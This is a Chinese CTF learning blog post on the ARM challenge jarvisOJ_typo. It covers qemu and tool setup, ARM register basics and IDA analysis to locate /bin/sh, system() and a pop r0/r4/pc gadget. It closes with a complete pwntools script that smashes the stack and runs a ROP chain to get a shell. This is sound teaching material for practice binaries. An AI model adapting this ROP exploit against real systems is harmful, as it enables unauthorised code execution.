PWN-ARM-jarvisOJ_typo学习

Pwn-Arm学习

工具

Qemu

固件仿真环境模拟

sudo apt-get install qemu-user qemu-system

在这里插入图片描述

安装完qemu后,对于静态编译的程序就可以直接运行,对于动态链接的程序需要安装对应架构的动态链接库才行。

qemu-arm指的是arm32架构的,用这个命令来运行32位的arm程序,而qemu-aarch64对应的才是arm64位架构的程序,上面两者默认都是小端程序;

qemu-armeb用来运行大端的arm程序,然后armel和armhf,这主要是针对浮点计算来区分的,其中armel (arm eabi little endian)使用fpu浮点运算单元,但传参还是用普通寄存器;armhf (arm hard float)也使用fpu浮点运算单元,同时使用fpu中的浮点寄存器传参。arm64默认用的是armhf,所以也就没有这个后缀,因此有这个后缀区分的都是指的是32位arm架构。

GDB

动态调试

sudo apt-get install gdb-multiarch

pwntools

安装

sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

安装成功
在这里插入图片描述

ROPgadget

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

安装

git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
sudo python3 setup.py install

若出现报错
在这里插入图片描述
执行

sudo cp -r scripts /home/snjuxp/.local/lib/python3.10/site-packages/ROPGadget-7.1.dist-info

安装成功
在这里插入图片描述

交叉编译工具链:

ARM

Install package dependencies
sudo apt-get install build-essential autoconf libtool cmake pkg-config git python-dev swig3.0 libpcre3-dev nodejs-dev
For ARM 64bit toolchain
sudo apt-get install gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
For armv7l toolchain
sudo apt-get install gcc-arm-linux-gnueabihf g++-arm-linux-gnueabihf
For armv6 toolchain
sudo apt-get install gcc-arm-linux-gnueabi g++-arm-linux-gnueabi

接下来是使用arm-linux-gnueabihf-gcc 编译文件,输入如下command:

arm-linux-gnueabihf-gcc hello.c -o hello_for_armv7l

题目

入门题目是CTF-WiKi的jarvisOJ_typo
题目在 https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/arm/jarvisOJ_typo

准备

使用file和checksec命令检查二进制应用的信息和安全配置
在这里插入图片描述
通过file命令执行的结果,我们可以看到这是一个32位ARM架构的ELF文件,并且程序本身在编译阶段采用了静态链接。通过上述信息我们将会有以下几个反映:

  1. 需要使用 qemu-arm-static 来启动程序,并且由于是静态链接,所以在调试过程中不需要加-L参数来链接.so文件

  2. 由于程序本身是静态链接,所以如果我们想要去找一些函数(system()函数)或者字符串(比如/binsh)都可以在程序中搜索到
    在这里插入图片描述
    通过checksec命令执行的结果看出来未开启Canary栈保护和PIE,
    因为是 No PIE, 所以我们只需要栈溢出就能构造 ropchain 来 get shell

通过Qemu-arm-static运行程序
在这里插入图片描述

执行开始后,先输出回车然后进入Begin,然后随意输入什么,都会提示报错,当我尝试输入一个超长的字符串,程序出现崩溃,提示core dumped。

刚开始学其实这里是没什么思路的,在网上发现hollk师傅做的时候,尝试和思路都很清晰,比如首先判断程序输入点,本题目有两个,一个是回车,一个就是程序运行后对输入的判断,这里会尝试比如整数或者一些格式化字符串来判断漏洞类型。

然后在输入回车的地方输入一些字符串,根据程序的回显来判断可能是因为我们输入的数据会被当做命令执行

在这里插入图片描述
从图里面可以看出,我们输入whoami,程序直接退出,并且终端吃掉第一个字符,报错,提示Command not found,我们就可以推断这里会有一个执行system(“/bin/sh”)的过程,然后我们尝试输入wwhoami,发现果然执行了我们输入的命令。

前期的尝试给后面分析阶段提供了很大的思路。

动态调试

可以通过ROPgadget 查找字符串地址
在这里插入图片描述

或者一些反编译工具,如ghidra或者IDA对程序进行逆向分析
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

然后新起一个窗口使用qemu模拟程序执行
在这里插入图片描述
在GDB页面pwndbg输入c然后继续调试
在这里插入图片描述
在这里插入图片描述

在程序模拟页面继续执行程序流程,然后我们输入利用pwndbg里面的cyclic创建200个字节的字符
在这里插入图片描述

然后返回GDB调试窗口可以查看栈溢出的情况

可以看到程序PC指针指向0x62616164导致系统崩溃,然后使用命令cyclic -l 0x62616164计算出缓冲区大小:
在这里插入图片描述

我们通过定位/bin/sh找到字符串的地址,然后更具程序动态调试程序崩溃的指针地址计算出了缓冲区的长度,根据上面我们对程序的尝试,程序一定本身是具有执行指令的功能,所以系统中一定存在system()函数或者execve()函数,我们需要找到它们的地址。

ARM架构的基础知识

补充一些ARM架构的基础知识
在这里插入图片描述

R0~R3通常用于传参,剩下的参数从右向左依次入栈,被调用者实现栈平衡,返回值存放在R0中;

r15 -> pc => 当前程序执行位置;

r14 -> lr => 连接寄存器:跳转指令自动把返回地址放入r14中;

r13 -> sp => 栈指针:指向上一帧的栈底;

r12 -> ip => ip 内部过程调用寄存器Intra-Procedure-call scratch register,其实就是r12;

r11 -> fp => 当前函数栈帧的栈底,也就是栈基地址FP;

除此之外,arm 的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址

在这里插入图片描述
main stack frame为调用函数的栈帧,func1 stack frame为当前函数(被调用者)的栈帧,栈底在高地址,栈向下增长。图中FP就是栈基址,它指向函数的栈帧起始地址;

SP则是函数的栈指针,它指向栈顶的位置。ARM压栈的顺序很是规矩,依次为当前函数指针PC、返回指针LR、栈指针SP、栈基址FP、传入参数个数及指针、本地变量和临时变量。先压栈的main stack 进入在高地址。

因此想要执行system(“/bin.sh”),就需要将寄存器R0的值修改为字符串’/bin/sh’的地址,返回地址可以通过栈溢出直接修改。

静态反编译分析

这部分完全学习hollk师傅的思路和方法

通过IDA反编译可执行程序然后使用shift + F12查看字符串表,通过搜索字符串/bin/sh首先定位字符串内存地址
在这里插入图片描述
符号表信息被隐藏
在这里插入图片描述

这里和ROPgadget 查找字符串地址相同

寻找system函数

然后按 x 对aBinSh进行交叉搜索:
在这里插入图片描述
可看到在sub_10BA8()函数中引用了”/bin/sh“字符串,双击进入后通过对代码的解读,可发现该函数类似do_system()函数
在这里插入图片描述
反编译后
在这里插入图片描述

system()函数在执行时会调用do_system()函数进行操作,那么我们按x交叉搜索sub_10BA8()函数,可以检索到sub_110B4()函数
在这里插入图片描述
这里反编译后,并不是想象中system的结构,只看到一层调用sub_10BA8函数,但是确认是system()函数,因此我们可以得到system()函数地址为0x110B4
在这里插入图片描述
这里我分别尝试把sub_10BA8和sub_110B4()都作为system()函数,两者都可以达到相同的效果

下图为hollk师傅实验的结果

在这里插入图片描述

寻找gadget

在已经知道/bin/sh,system()函数地址和缓冲区的长度
在这里插入图片描述

我们最后需要的就是寻找一段gadget,将/bin/sh字符串地址作为system()函数的参数部署在r0寄存器中。这里我们使用ROPgadget,寻找可以使用的gadget,可以看到只找到了一条可用的gadge:0x20904

构造EXP

根据找到的gadget构造这样的栈结构:
在这里插入图片描述

在程序返回时, 经过ROP Chain就会实现r0 -> “/bin/sh”, r4 -> junk_data/“bin/sh”, pc = system_addr的效果, 进而执行system(“/bin/sh”)来get shell。

from pwn import *
import time
context.arch="arm"
context.log_level="debug"

overlength = 112
binsh = 0x0006c384
pop_r0_r4_pc = 0x00020904
system = 0x000110B4
#或者system = 0x00010BA8

p = process(["qemu-arm-static","./typo"])
payload = b"a"*overlength + p32(pop_r0_r4_pc) + p32(binsh)*2 + p32(system)

p.recvuntil("quit\n")
p.send("\n")

p.recvuntil("\n")
p.sendline(payload)

p.interactive()

在这里插入图片描述
虽然最后通过构造ROP拿到了shell,但是其实好多东西还是需要消化,ARM架构的指令集,寄存器,常见敏感函数的源码,学习之路任重而道远呀。

参考:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/arm/rop/
https://hollk.blog.csdn.net/article/details/118188924?spm=1001.2014.3001.5502
https://blog.csdn.net/qq_41202237/article/details/118254383
ROPGadget使用
https://blog.csdn.net/weixin_45556441/article/details/114631043
https://blog.csdn.net/A951860555/article/details/116780827
https://coldwave96.github.io/2021/01/20/Typo/#Step-3

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值